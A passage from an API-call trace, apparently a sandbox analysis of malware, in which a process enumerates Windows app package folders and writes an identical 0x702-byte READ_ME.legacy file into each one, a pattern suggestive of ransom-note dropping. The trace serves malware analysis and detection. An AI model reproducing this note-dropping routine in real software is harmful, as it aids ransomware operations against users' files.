nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.381] CloseHandle (hObject=0x744) returned 1 [0137.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0137.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0137.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0137.381] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4609348, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd4609348, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy", cAlternateFileName="MICROS~1.BRO")) returned 1 [0137.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0137.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0137.382] GetLastError () returned 0x0 [0137.382] SetLastError (dwErrCode=0x0) [0137.382] GetLastError () returned 0x0 [0137.382] SetLastError (dwErrCode=0x0) [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0137.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.382] GetLastError () returned 0x0 [0137.382] SetLastError (dwErrCode=0x0) [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60ee30 [0137.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0137.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ee30 | out: hHeap=0x520000) returned 1 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7f20 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e8700 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0137.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0137.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.383] GetLastError () returned 0x0 [0137.383] SetLastError (dwErrCode=0x0) [0137.383] GetLastError () returned 0x0 [0137.383] SetLastError (dwErrCode=0x0) [0137.383] GetLastError () returned 0x0 [0137.383] SetLastError (dwErrCode=0x0) [0137.383] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0137.383] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0137.384] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.385] CloseHandle (hObject=0x744) returned 1 [0137.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0137.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0137.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8700 | out: hHeap=0x520000) returned 1 [0137.385] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x802f4316, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80471ab5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.AccountsControl_cw5n1h2txyewy", cAlternateFileName="MICROS~1.ACC")) returned 1 [0137.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0137.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0137.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0137.385] GetLastError () returned 0x0 [0137.385] SetLastError (dwErrCode=0x0) [0137.385] GetLastError () returned 0x0 [0137.385] SetLastError (dwErrCode=0x0) [0137.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0137.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.386] GetLastError () returned 0x0 [0137.386] SetLastError (dwErrCode=0x0) [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0137.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0137.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7b30 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7fc8 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0137.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ca0 [0137.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.386] GetLastError () returned 0x0 [0137.386] SetLastError (dwErrCode=0x0) [0137.386] GetLastError () returned 0x0 [0137.387] SetLastError (dwErrCode=0x0) [0137.387] GetLastError () returned 0x0 [0137.387] SetLastError (dwErrCode=0x0) [0137.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0137.387] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0137.389] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.390] CloseHandle (hObject=0x744) returned 1 [0137.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ca0 | out: hHeap=0x520000) returned 1 [0137.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0137.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0137.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fc8 | out: hHeap=0x520000) returned 1 [0137.391] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Advertising.Xaml_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.XAM")) returned 1 [0137.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0137.391] GetLastError () returned 0x0 [0137.391] SetLastError (dwErrCode=0x0) [0137.391] GetLastError () returned 0x0 [0137.391] SetLastError (dwErrCode=0x0) [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0137.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.391] GetLastError () returned 0x0 [0137.391] SetLastError (dwErrCode=0x0) [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60f8c0 [0137.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0137.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f8c0 | out: hHeap=0x520000) returned 1 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7fc8 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e81c0 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0137.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0137.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0137.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0137.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.392] GetLastError () returned 0x0 [0137.392] SetLastError (dwErrCode=0x0) [0137.392] GetLastError () returned 0x0 [0137.392] SetLastError (dwErrCode=0x0) [0137.392] GetLastError () returned 0x0 [0137.392] SetLastError (dwErrCode=0x0) [0137.392] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0137.392] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.advertising.xaml_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0137.393] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.394] CloseHandle (hObject=0x744) returned 1 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81c0 | out: hHeap=0x520000) returned 1 [0137.394] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xfafb82b, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Appconnector_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.APP")) returned 1 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0137.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0137.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0137.394] GetLastError () returned 0x0 [0137.394] SetLastError (dwErrCode=0x0) [0137.394] GetLastError () returned 0x0 [0137.394] SetLastError (dwErrCode=0x0) [0137.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0137.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.394] GetLastError () returned 0x0 [0137.394] SetLastError (dwErrCode=0x0) [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0137.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0137.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7d28 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7dd0 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0137.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.395] GetLastError () returned 0x0 [0137.395] SetLastError (dwErrCode=0x0) [0137.395] GetLastError () returned 0x0 [0137.395] SetLastError (dwErrCode=0x0) [0137.395] GetLastError () returned 0x0 [0137.395] SetLastError (dwErrCode=0x0) [0137.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0137.395] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0137.397] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.398] CloseHandle (hObject=0x744) returned 1 [0137.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0137.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0137.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0137.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7dd0 | out: hHeap=0x520000) returned 1 [0137.398] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b091f87, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc89dadb, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc89dadb, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.BingFinance_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.BIN")) returned 1 [0137.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0137.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0137.398] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.398] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0137.398] GetLastError () returned 0x0 [0137.398] SetLastError (dwErrCode=0x0) [0137.398] GetLastError () returned 0x0 [0137.398] SetLastError (dwErrCode=0x0) [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0137.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.399] GetLastError () returned 0x0 [0137.399] SetLastError (dwErrCode=0x0) [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0137.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0137.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e83b8 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e81c0 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0137.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.399] GetLastError () returned 0x0 [0137.399] SetLastError (dwErrCode=0x0) [0137.399] GetLastError () returned 0x0 [0137.399] SetLastError (dwErrCode=0x0) [0137.399] GetLastError () returned 0x0 [0137.399] SetLastError (dwErrCode=0x0) [0137.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41458 [0137.399] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.402] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41458 | out: hHeap=0x520000) returned 1 [0137.402] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.403] CloseHandle (hObject=0x744) returned 1 [0137.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0137.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0137.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81c0 | out: hHeap=0x520000) returned 1 [0137.403] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xa0d44ca, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xa0d44ca, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.BingNews_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.BIN")) returned 1 [0137.403] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0137.403] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0137.404] GetLastError () returned 0x0 [0137.404] SetLastError (dwErrCode=0x0) [0137.404] GetLastError () returned 0x0 [0137.404] SetLastError (dwErrCode=0x0) [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0137.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.404] GetLastError () returned 0x0 [0137.404] SetLastError (dwErrCode=0x0) [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0137.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0137.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6c08 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0137.404] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0137.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.404] GetLastError () returned 0x0 [0137.404] SetLastError (dwErrCode=0x0) [0137.405] GetLastError () returned 0x0 [0137.405] SetLastError (dwErrCode=0x0) [0137.405] GetLastError () returned 0x0 [0137.405] SetLastError (dwErrCode=0x0) [0137.405] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) 